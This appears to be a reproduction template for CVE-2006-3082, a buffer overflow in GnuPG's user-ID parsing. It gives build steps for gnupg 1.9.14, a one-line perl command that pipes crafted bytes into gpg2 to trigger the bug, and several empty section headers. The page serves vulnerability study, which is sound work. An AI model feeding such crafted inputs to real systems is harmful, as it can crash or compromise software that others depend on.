CVE-2006-3082

Experiment Environment

Ubuntu 10.04 LTS

INSTALL & Configuration

wget https://github.com/mudongliang/source-packages/raw/master/CVE-2006-3082/gnupg-1.9.14.tar.bz2
tar -xvf gnupg-1.9.14.tar.bz2
cd gnupg-1.9.14
./configure
make

Problems in Installation & Configuration

How to trigger vulnerability

perl -e 'print "\xcd\xff\xff\xff\xff\xfe"'| ./g10/gpg2 --no-armor

PoCs

GnuPG 1.4.3/1.9.x - Parse_User_ID Remote Buffer Overflow

GnuPG Parse_User_ID Remote Buffer Overflow Vulnerability

Vulnerability Patch

Root Cause

Stack Trace

Patch

References